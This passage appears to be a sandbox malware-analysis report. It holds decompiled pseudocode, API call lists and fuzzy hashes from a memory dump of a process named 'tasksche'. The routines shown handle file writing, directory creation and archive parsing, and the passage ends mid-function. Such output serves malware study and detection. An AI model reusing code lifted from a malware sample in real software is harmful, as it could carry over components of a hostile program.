0x0041277e
0x0041275a
0x0041275d
0x0041276b
0x00000000
0x0041276b
0x00412739
0x0041272f
0x00412848

APIs

__CxxThrowException@8.LIBCMT ref: 0041276B
_malloc.LIBCMT ref: 00412785

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_memset.LIBCMT ref: 004127D8

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AllocateException@8HeapThrow_malloc_memset
String ID:
API String ID: 3965744532-0
Opcode ID: 9a5626d063f902226345b1e3bd7973a083b583a89a09867b0a04f46aed37c533
Instruction ID: 1154a5c9599e5537b836a1002f89e902606abe80a59ae87693d08389c363c3d7
Opcode Fuzzy Hash: 9a5626d063f902226345b1e3bd7973a083b583a89a09867b0a04f46aed37c533
Instruction Fuzzy Hash: 05410470905745ABEB25EE38D6C47DBB7D0AF14304F20482FE5A6D3281C7B8A9E4C718

Uniqueness

Uniqueness Score: -1.00%

Function 00408AA9 Relevance: 4.6, APIs: 3, Instructions: 104
fileCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00408AA9(intOrPtr* __ecx, void* __edx, void* _a4, long _a8) {
				long _v8;
				char _t28;
				long _t33;
				long _t34;
				int _t37;
				void* _t38;
				char _t43;
				intOrPtr _t48;
				long _t56;
				void* _t61;
				struct _OVERLAPPED* _t63;
				intOrPtr* _t68;

				_t61 = __edx;
				_push(__ecx);
				_t68 = __ecx;
				if(_a8 != 0) {
					if( *((intOrPtr*)(__ecx + 0xc)) == 1) {
						 *(_t68 + 4) = GetStdHandle(0xfffffff5);
					}
					while(1) {
						_t63 = 0;
						_t43 = 0;
						_v8 = 0;
						if( *((intOrPtr*)(_t68 + 0xc)) == 0) {
							goto L12;
						}
						if(_a8 <= 0) {
							L14:
							if( *((char*)(_t68 + 0x14)) == 0 ||  *((intOrPtr*)(_t68 + 0xc)) != 0) {
								L21:
								_t28 = _t43;
								 *((char*)(_t68 + 8)) = 1;
								L22:
								return _t28;
							} else {
								if(E00406336(0x4335ac, _t68 + 0x1e, 0) == 0) {
									E004064F3(0x4335ac, 0, _t68 + 0x1e);
									goto L21;
								}
								_t33 = _v8;
								if(_t33 < _a8 && _t33 > 0) {
									_t48 =  *_t68;
									_t38 =  *((intOrPtr*)(_t48 + 0x10))(0);
									asm("sbb edx, edi");
									 *((intOrPtr*)(_t48 + 0xc))(_t38 - _v8, _t61);
								}
								continue;
							}
						} else {
							goto L7;
						}
						while(1) {
							L7:
							_t56 = _a8 - _t63;
							_t34 = 0x4000;
							if(_t56 < 0x4000) {
								_t34 = _t56;
							}
							_t37 = WriteFile( *(_t68 + 4), _a4 + _t63, _t34,  &_v8, 0);
							asm("sbb bl, bl");
							_t43 =  ~(_t37 - 1) + 1;
							if(_t43 == 0) {
								goto L14;
							}
							_t63 = _t63 + 0x4000;
							if(_t63 < _a8) {
								continue;
							}
							L13:
							if(_t43 != 0) {
								goto L21;
							}
							goto L14;
						}
						goto L14;
						L12:
						WriteFile( *(_t68 + 4), _a4, _a8,  &_v8, 0); // executed
						asm("sbb bl, bl");
						_t43 = 1;
						goto L13;
					}
				}
				_t28 = 1;
				goto L22;
			}

0x00408aa9
0x00408aac
0x00408ab2
0x00408ab4
0x00408ac1
0x00408acb
0x00408acb
0x00408ad0
0x00408ad0
0x00408ad2
0x00408ad4
0x00408ada
0x00000000
0x00000000
0x00408adf
0x00408b40
0x00408b44
0x00408ba1
0x00408ba2
0x00408ba4
0x00408ba9
0x00408bab
0x00408b4c
0x00408b60
0x00408b9c
0x00000000
0x00408b9c
0x00408b62
0x00408b68
0x00408b76
0x00408b7c
0x00408b86
0x00408b8c
0x00408b8c
0x00000000
0x00408b68
0x00000000
0x00000000
0x00000000
0x00408ae1
0x00408ae1
0x00408ae4
0x00408ae6
0x00408aed
0x00408aef
0x00408aef
0x00408b01
0x00408b0c
0x00408b0e
0x00408b10
0x00000000
0x00000000
0x00408b12
0x00408b1b
0x00000000
0x00000000
0x00408b3c
0x00408b3e
0x00000000
0x00000000
0x00000000
0x00408b3e
0x00000000
0x00408b1f
0x00408b2d
0x00408b38
0x00408b3a
0x00000000
0x00408b3a
0x00408ad0
0x00408ab6
0x00000000

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,0040BB41,?,?,00000000,?,?,004124ED,?,?,?,00000001,?), ref: 00408AC5
WriteFile.KERNEL32(00000001,?,00004000,?,00000000,?,?,0040BB41,?,?,00000000,?,?,004124ED,?,?), ref: 00408B01
WriteFile.KERNELBASE(00000001,?,00000000,?,00000000,?,?,?,?,?,0040BB41,?,?,00000000,?,?), ref: 00408B2D

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 2630e5a33cfd0af18d09aa74bbfd8346207367a51011a650ef626fa881f46d74
Instruction ID: f20fcf70e75a5c6d44a32b1c4255a65a5bf54a4d93884812af3801fc7a684339
Opcode Fuzzy Hash: 2630e5a33cfd0af18d09aa74bbfd8346207367a51011a650ef626fa881f46d74
Instruction Fuzzy Hash: 9B31C371300204AFDB209F65CA44BAB77A9EB94310F04813FF996E72C1DB78A905DF29

Uniqueness

Uniqueness Score: -1.00%

Function 004092C9 Relevance: 4.6, APIs: 3, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004092C9(void* __eflags, WCHAR* _a4, char _a8, intOrPtr _a12) {
				short _v4100;
				signed int _t9;
				long _t11;
				void* _t12;
				int _t21;
				WCHAR* _t22;
				void* _t24;

				_t24 = __eflags;
				E0041AAF0(0x1000);
				_t22 = _a4;
				_t9 =  *(E0040A08A(_t24, _t22)) & 0x0000ffff;
				if(_t9 == 0x2e || _t9 == 0x20) {
					L3:
					if(E004092A5(_t22) != 0 || E0040A3DC(_t22,  &_v4100, 0x800) == 0 || CreateDirectoryW( &_v4100, 0) == 0) {
						_t11 = GetLastError();
						__eflags = _t11 - 2;
						if(_t11 == 2) {
							L12:
							_t12 = 2;
							return _t12;
						}
						__eflags = _t11 - 3;
						if(_t11 == 3) {
							goto L12;
						}
						return 1;
					} else {
						goto L6;
					}
				} else {
					_t21 = CreateDirectoryW(_t22, 0); // executed
					if(_t21 != 0) {
						L6:
						if(_a8 != 0) {
							E0040908D(_t22, _a12);
						}
						return 0;
					}
					goto L3;
				}
			}

0x004092c9
0x004092d1
0x004092d8
0x004092e1
0x004092ee
0x004092ff
0x00409307
0x00409341
0x00409347
0x0040934a
0x00409356
0x00409358
0x00000000
0x00409358
0x0040934c
0x0040934f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004092f6
0x004092f9
0x004092fd
0x0040932e
0x00409332
0x00409338
0x00409338
0x00000000
0x0040933d
0x00000000
0x004092fd

APIs

Part of subcall function 0040A08A: _wcslen.LIBCMT ref: 0040A090

CreateDirectoryW.KERNELBASE(00000000,00000000,00000000,?,?,?,0040941E,?,00000001,00000000,?,?,?,?,?), ref: 004092F9
CreateDirectoryW.KERNEL32(?,00000000,00000000,?,00000800,00000000,00000000,?,?,?,0040941E,?,00000001,00000000,?,?), ref: 00409328
GetLastError.KERNEL32(00000000,00000000,?,?,?,0040941E,?,00000001,00000000,?,?,?,?,?,?,004067A5), ref: 00409341

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: e440fb91986ed667ecea05b8623b67f22d0563812c7c3dc4cd5ad5119d8de580
Instruction ID: 5cfd1deac55777c6f3d5c0bdf32a3cf990456680eccb4e8d5c114054f7fd3324
Opcode Fuzzy Hash: e440fb91986ed667ecea05b8623b67f22d0563812c7c3dc4cd5ad5119d8de580
Instruction Fuzzy Hash: DD01C031100204A5DB216A664C42BBB37589B4EB84F88447BFD41F62D2CB7C9C92D97E

Uniqueness

Uniqueness Score: -1.00%

Function 0040E2D7 Relevance: 4.6, APIs: 3, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040E2D7(void* __ecx, void* __edx, void* __eflags) {
				intOrPtr _t20;
				void* _t25;
				void* _t39;
				void* _t45;
				intOrPtr _t47;

				_t39 = __edx;
				E0041A4DC(E00429794, _t45);
				_push(__ecx);
				E0041AAF0(0x6460);
				 *((intOrPtr*)(_t45 - 0x10)) = _t47;
				E0041A7F7(0x44ac32, "X");
				E00410D16(0x44cc54, 0x42a570);
				E0041A7F7(0x44bc52,  *((intOrPtr*)(_t45 + 0xc)));
				E0040537E(0x443980,  *((intOrPtr*)(_t45 + 0xc)));
				_t4 = _t45 - 4;
				 *(_t45 - 4) =  *(_t45 - 4) & 0x00000000;
				_t20 = 4;
				 *0x449c14 = _t20;
				 *0x449c10 = _t20;
				 *0x449c0c = _t20;
				 *0x448ad3 =  *0x441823;
				_push(0x443980);
				 *0x448b08 = 1;
				 *0x448b0b = 1;
				 *0x448ad4 =  *0x441822; // executed
				E00407150(_t45 - 0x6470, _t39,  *_t4); // executed
				 *(_t45 - 4) = 1;
				E004083C0(_t45 - 0x6470, _t39,  *_t4); // executed
				 *(_t45 - 4) = 0;
				_t25 = E00407074(_t45 - 0x6470); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t45 - 0xc));
				return _t25;
			}

0x0040e2d7
0x0040e2dc
0x0040e2e1
0x0040e2e7
0x0040e2ef
0x0040e2fc
0x0040e30d
0x0040e31a
0x0040e32b
0x0040e330
0x0040e330
0x0040e336
0x0040e337
0x0040e33c
0x0040e341
0x0040e34b
0x0040e355
0x0040e35c
0x0040e363
0x0040e36a
0x0040e36f
0x0040e37a
0x0040e37e
0x0040e389
0x0040e38d
0x0040e397
0x0040e3a0

APIs

__EH_prolog.LIBCMT ref: 0040E2DC
_wcscpy.LIBCMT ref: 0040E2FC

Part of subcall function 00410D16: _wcslen.LIBCMT ref: 00410D2C
Part of subcall function 00410D16: _wcscpy.LIBCMT ref: 00410D42

_wcscpy.LIBCMT ref: 0040E31A

Part of subcall function 00407150: __EH_prolog.LIBCMT ref: 00407155

Part of subcall function 00407074: __EH_prolog.LIBCMT ref: 00407079

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_wcscpy$_wcslen
String ID:
API String ID: 2067596392-0
Opcode ID: aa5c2ab907567c22763022a3e14260f934ba444c4f603d8b7408ac10fc9ad921
Instruction ID: 34baa23ef678cdf00172776f2fc4f6da7b22e3ce89fab18911e310d79256e735
Opcode Fuzzy Hash: aa5c2ab907567c22763022a3e14260f934ba444c4f603d8b7408ac10fc9ad921
Instruction Fuzzy Hash: E7112675906294AED705EBA4AC427CD7BA0DB16318F1040AFF444A2292CFB91A90DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401768 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00401768(intOrPtr* __ecx, void* __edx) {
				void* __edi;
				void* _t25;
				signed int _t27;
				intOrPtr _t30;
				signed int _t31;
				intOrPtr _t35;
				void* _t54;
				void* _t58;

				_t51 = __edx;
				E0041A4DC(E00429705, _t58);
				_t56 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xb056)) != 0) {
					E0040117B(_t58 - 0x1c, __edx, __ecx);
					 *(_t58 - 4) = 0;
					__eflags =  *(__ecx + 0x658c);
					if( *(__ecx + 0x658c) == 0) {
						_push(0);
						_t25 = E00401B26(__ecx);
						_push(_t51);
						 *((intOrPtr*)( *__ecx + 0xc))();
						_t27 = E00403767(__ecx, _t51, _t58, __eflags, "CMT");
						_t54 = _t25;
						__eflags = _t27;
						if(_t27 == 0) {
							L6:
							 *((char*)(_t58 + 0xb)) = 0;
						} else {
							_push( *((intOrPtr*)(_t58 + 8)));
							_t31 = E004012EA(_t56, _t54); // executed
							 *((char*)(_t58 + 0xb)) = 1;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L6;
							}
						}
					} else {
						_push(0);
						_push(0);
						_push( *((intOrPtr*)(__ecx + 0xb060)) + 0x14);
						 *((intOrPtr*)( *__ecx + 0xc))();
						E0040369F(__edx, _t58);
						_t35 =  *((intOrPtr*)(_t58 + 8));
						__eflags =  *(_t35 + 4);
						 *((char*)(_t58 + 0xb)) =  *(_t35 + 4) > 0;
					}
					_t15 = _t58 - 4;
					 *_t15 =  *(_t58 - 4) | 0xffffffff;
					__eflags =  *_t15;
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t58 - 0x1c)))) + 0xc))( *((intOrPtr*)(_t58 - 0x14)),  *((intOrPtr*)(_t58 - 0x10)), 0);
					_t30 =  *((intOrPtr*)(_t58 + 0xb));
				} else {
					_t30 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t58 - 0xc));
				return _t30;
			}

0x00401768
0x0040176d
0x00401777
0x00401781
0x0040178e
0x00401793
0x00401796
0x0040179c
0x004017c7
0x004017ca
0x004017cf
0x004017d3
0x004017dd
0x004017e2
0x004017e3
0x004017e5
0x004017f9
0x004017f9
0x004017e7
0x004017e7
0x004017ec
0x004017f1
0x004017f5
0x004017f7
0x00000000
0x00000000
0x004017f7
0x0040179e
0x004017a6
0x004017aa
0x004017ab
0x004017ae
0x004017b3
0x004017b8
0x004017bb
0x004017be
0x004017be
0x00401801
0x00401801
0x00401801
0x0040180c
0x0040180f
0x00401783
0x00401783
0x00401783
0x00401817
0x0040181f

APIs

__EH_prolog.LIBCMT ref: 0040176D

Strings

CMT, xrefs: 004017D6

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: c5dcd452fd1e4eeec7eacad65d6409f1913b512c17b790326e9b6827e8618ada
Instruction ID: 903a9e83ebfadd1395375551f57b58f4375dbb7200b7f1b09ca9293e13445996
Opcode Fuzzy Hash: c5dcd452fd1e4eeec7eacad65d6409f1913b512c17b790326e9b6827e8618ada
Instruction Fuzzy Hash: C5210275600144AFCB05EF6488908AEBBB9EF44314B00C06FF866773E2CB389E01DB68

Uniqueness

Uniqueness Score: -1.00%

Function 00401106 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401106(intOrPtr* __ecx, intOrPtr _a4) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t12;
				intOrPtr _t13;
				unsigned int _t15;
				intOrPtr _t16;
				unsigned int _t20;
				intOrPtr _t23;
				unsigned int _t26;
				void* _t31;
				intOrPtr _t32;
				intOrPtr* _t34;

				_t12 = _a4;
				_t34 = __ecx;
				 *((intOrPtr*)(__ecx + 4)) =  *((intOrPtr*)(__ecx + 4)) + _t12;
				_t23 =  *((intOrPtr*)(__ecx + 4));
				if(_t23 >  *((intOrPtr*)(__ecx + 8))) {
					_t13 =  *((intOrPtr*)(__ecx + 0xc));
					_push(_t31);
					if(_t13 != 0 && _t23 > _t13) {
						E00406423(_t23, 0x4335ac, L"Maximum allowed array size (%u) is exceeded", _t13);
						E004063CE(0x4335ac);
					}
					_t15 = ( *(_t34 + 8) >> 2) +  *(_t34 + 8) + 0x20;
					_t26 =  *(_t34 + 4);
					_t20 = _t26;
					_t43 = _t26 - _t15;
					if(_t26 <= _t15) {
						_t20 = _t15;
					}
					_push(_t20);
					_push( *_t34); // executed
					_t16 = E0041A594(_t20, _t31, _t34, _t43); // executed
					_t32 = _t16;
					if(_t32 == 0) {
						_t16 = E004063CE(0x4335ac);
					}
					 *_t34 = _t32;
					 *(_t34 + 8) = _t20;
					return _t16;
				}
				return _t12;
			}

0x00401106
0x0040110b
0x0040110d
0x00401110
0x00401116
0x00401118
0x0040111d
0x00401125
0x00401132
0x0040113c
0x0040113c
0x00401149
0x0040114d
0x00401150
0x00401152
0x00401154
0x00401156
0x00401156
0x00401158
0x00401159
0x0040115b
0x00401160
0x00401166
0x0040116a
0x0040116a
0x0040116f
0x00401173
0x00000000
0x00401176
0x00401178

APIs

_realloc.LIBCMT ref: 0040115B

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Strings

Maximum allowed array size (%u) is exceeded, xrefs: 0040112C

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __vswprintf_c_l_realloc
String ID: Maximum allowed array size (%u) is exceeded
API String ID: 620378156-979119166
Opcode ID: dce6db5a0bfaf73c63961f3884acddfac192c2d93569977231d8791de2d42667
Instruction ID: b98885df3920ffeceb53ce79d7a953b92e5ea0a83a6506546a83ec3ee512e677
Opcode Fuzzy Hash: dce6db5a0bfaf73c63961f3884acddfac192c2d93569977231d8791de2d42667
Instruction Fuzzy Hash: 8D014F353006056FD728EA25D89193BB3E9EB88764310483FF99B97791EA39BC548718

Uniqueness

Uniqueness Score: -1.00%

Function 00401417 Relevance: 3.3, APIs: 2, Instructions: 264
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00401417(signed int* __ecx, signed int __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t89;
				void* _t92;
				signed int _t96;
				signed int _t97;
				signed int _t98;
				signed int _t105;
				signed int _t106;
				signed int _t107;
				signed int _t115;
				signed int _t118;
				char* _t129;
				signed int _t130;
				signed int _t131;
				signed int _t133;
				char* _t138;
				void* _t139;
				signed int _t144;
				signed int _t145;
				void* _t175;
				signed int _t176;
				signed int* _t178;
				signed int _t179;
				signed int* _t181;
				void* _t185;

				_t172 = __edx;
				E0041A4DC(E004294F4, _t185);
				_t181 = __ecx;
				_push(7);
				_t174 = __ecx + 0x6560;
				_push(__ecx + 0x6560);
				 *((char*)(__ecx + 0xb05c)) = 0;
				 *((char*)(__ecx + 0xb064)) = 0;
				if( *((intOrPtr*)( *((intOrPtr*)(__ecx)) + 8))() == 7) {
					 *((intOrPtr*)(__ecx + 0xb060)) = 0;
					_t89 = E0040106A(_t174, 7);
					__eflags = _t89;
					if(_t89 == 0) {
						E00406760(_t185 - 0x1c, 0x100000);
						 *(_t185 - 4) = 0;
						_t92 =  *((intOrPtr*)( *_t181 + 0x10))();
						_t175 = _t92;
						_t144 =  *((intOrPtr*)( *_t181 + 8))( *(_t185 - 0x1c),  *((intOrPtr*)(_t185 - 0x18)) + 0xfffffff0);
						_t172 = 0;
						__eflags = _t144;
						if(_t144 <= 0) {
							L21:
							__eflags = _t181[0x2c18];
							if(_t181[0x2c18] != 0) {
								 *(_t185 - 4) =  *(_t185 - 4) | 0xffffffff;
								__eflags =  *(_t185 - 0x1c);
								if(__eflags != 0) {
									_push( *(_t185 - 0x1c));
									E0041A506(_t144, _t175, _t181, __eflags); // executed
								}
								goto L26;
							}
							__eflags =  *(_t185 - 0x1c);
							if(__eflags != 0) {
								_push( *(_t185 - 0x1c));
								E0041A506(_t144, _t175, _t181, __eflags);
							}
							goto L41;
						} else {
							goto L6;
						}
						do {
							L6:
							_t129 =  *(_t185 - 0x1c) + _t172;
							__eflags =  *_t129 - 0x52;
							if( *_t129 != 0x52) {
								goto L16;
							}
							_t130 = E0040106A(_t129, _t144 - _t172);
							__eflags = _t130;
							if(_t130 == 0) {
								goto L16;
							}
							_t181[0x2c14] = _t130;
							__eflags = _t130 - 1;
							if(_t130 != 1) {
								L18:
								_t131 = _t172 + _t175;
								_t172 =  *_t181;
								_t181[0x2c18] = _t131;
								 *((intOrPtr*)( *_t181 + 0xc))(_t131, 0, 0);
								_t133 = _t181[0x2c14];
								__eflags = _t133 - 2;
								if(_t133 == 2) {
									L20:
									_t172 =  *_t181;
									 *((intOrPtr*)( *_t181 + 8))( &(_t181[0x1958]), 7);
									goto L21;
								}
								__eflags = _t133 - 3;
								if(_t133 != 3) {
									goto L21;
								}
								goto L20;
							}
							__eflags = _t172;
							if(_t172 <= 0) {
								goto L18;
							}
							__eflags = _t175 - 0x1c;
							if(_t175 >= 0x1c) {
								goto L18;
							}
							__eflags = _t144 - 0x1f;
							if(_t144 <= 0x1f) {
								goto L18;
							}
							_t138 =  *(_t185 - 0x1c) - _t175 + 0x1c;
							__eflags =  *_t138 - 0x52;
							if( *_t138 != 0x52) {
								goto L16;
							}
							__eflags =  *((char*)(_t138 + 1)) - 0x53;
							if( *((char*)(_t138 + 1)) != 0x53) {
								goto L16;
							}
							__eflags =  *((char*)(_t138 + 2)) - 0x46;
							if( *((char*)(_t138 + 2)) != 0x46) {
								goto L16;
							}
							__eflags =  *((char*)(_t138 + 3)) - 0x58;
							if( *((char*)(_t138 + 3)) == 0x58) {
								goto L18;
							}
							L16:
							_t172 = _t172 + 1;
							__eflags = _t172 - _t144;
						} while (_t172 < _t144);
						goto L21;
					} else {
						_t181[0x2c14] = _t89;
						__eflags = _t89 - 1;
						if(_t89 == 1) {
							_t179 =  *_t181;
							_t139 =  *((intOrPtr*)(_t179 + 0x10))(0);
							asm("sbb edx, ebx");
							 *((intOrPtr*)(_t179 + 0xc))(_t139 - 7, __edx);
						}
						L26:
						_t96 = _t181[0x2c14];
						__eflags = _t96 - 4;
						if(_t96 != 4) {
							__eflags = _t96 - 3;
							if(_t96 != 3) {
								_t181[0x195a] = 7;
								while(1) {
									L36:
									_t97 = E0040369F(_t172, _t185);
									__eflags = _t97;
									if(_t97 == 0) {
										break;
									}
									_t98 = _t181[0x1951];
									__eflags = _t98 - 1;
									if(_t98 == 1) {
										break;
									}
									__eflags = _t181[0x1952];
									if(_t181[0x1952] == 0) {
										L35:
										E004010C0(_t181);
										continue;
									}
									__eflags = _t98 - 4;
									if(_t98 == 4) {
										break;
									}
									goto L35;
								}
								__eflags = _t181[0x2c19];
								if(_t181[0x2c19] == 0) {
									L39:
									E004010C0(_t181);
									__eflags = _t181[0x2c19];
									if(_t181[0x2c19] == 0) {
										L42:
										__eflags = _t181[0x1952];
										_t181[0x2c15] = _t181[0x1963];
										if(_t181[0x1952] == 0) {
											L44:
											E0040117B(_t185 - 0x2c, _t172, _t181);
											_t176 = _t181[0x2c10];
											_t145 = _t181[0x2c11];
											 *(_t185 - 0x14) = _t181[0x2c12];
											 *(_t185 - 0x10) = _t181[0x2c13];
											 *(_t185 - 4) = 1;
											 *(_t185 + 8) = _t181[0x1951];
											while(1) {
												_t105 = E0040369F(_t172, _t185);
												__eflags = _t105;
												if(_t105 == 0) {
													break;
												}
												_t106 = _t181[0x1951];
												__eflags = _t106 - 3;
												if(_t106 != 3) {
													__eflags = _t106 - 2;
													if(_t106 == 2) {
														__eflags = _t181[0x2c15];
														if(_t181[0x2c15] == 0) {
															L59:
															_t107 = 0;
															__eflags = 0;
															L60:
															_t181[0x2c16] = _t107;
															L61:
															_t69 = _t185 - 4;
															 *_t69 =  *(_t185 - 4) | 0xffffffff;
															__eflags =  *_t69;
															_t181[0x2c12] =  *(_t185 - 0x14);
															_t181[0x2c13] =  *(_t185 - 0x10);
															_t181[0x2c10] = _t176;
															_t181[0x2c11] = _t145;
															_t181[0x1951] =  *(_t185 + 8);
															 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t185 - 0x2c)))) + 0xc))( *((intOrPtr*)(_t185 - 0x24)),  *((intOrPtr*)(_t185 - 0x20)), 0);
															L62:
															__eflags = _t181[0x2c15];
															if(_t181[0x2c15] == 0) {
																L64:
																__eflags =  &(_t181[0x2c26]);
																E0041A7F7( &(_t181[0x2c26]),  &(_t181[7]));
																L65:
																_t115 = 1;
																L66:
																goto L67;
															}
															__eflags = _t181[0x2c16];
															if(_t181[0x2c16] == 0) {
																goto L65;
															}
															goto L64;
														}
														__eflags = _t181[0x1d9c];
														if(_t181[0x1d9c] != 0) {
															goto L59;
														}
														_t107 = 1;
														goto L60;
													}
													__eflags = _t106 - 5;
													if(_t106 == 5) {
														goto L61;
													}
													L53:
													E004010C0(_t181);
													continue;
												}
												__eflags = _t181[0x2c15];
												if(_t181[0x2c15] == 0) {
													L49:
													_t118 = 0;
													__eflags = 0;
													L50:
													_t181[0x2c16] = _t118;
													goto L53;
												}
												__eflags = _t181[0x266c];
												if(_t181[0x266c] != 0) {
													goto L49;
												}
												_t118 = 1;
												goto L50;
											}
											goto L61;
										}
										__eflags = _t181[0x2c17];
										if(_t181[0x2c17] != 0) {
											goto L62;
										}
										goto L44;
									}
									E00406376(0x19,  &(_t181[7]));
									__eflags =  *(_t185 + 8);
									if( *(_t185 + 8) != 0) {
										goto L42;
									}
									L41:
									_t115 = 0;
									goto L66;
								}
								__eflags =  *(_t185 + 8);
								if( *(_t185 + 8) == 0) {
									goto L41;
								}
								goto L39;
							}
							_t178 =  &(_t181[0x1959]);
							 *((intOrPtr*)( *_t181 + 8))(_t178, 1);
							__eflags =  *_t178;
							if( *_t178 != 0) {
								goto L41;
							}
							_t181[0x195a] = 8;
							goto L36;
						}
						E00406376(0x3b,  &(_t181[7]));
						goto L41;
					}
				} else {
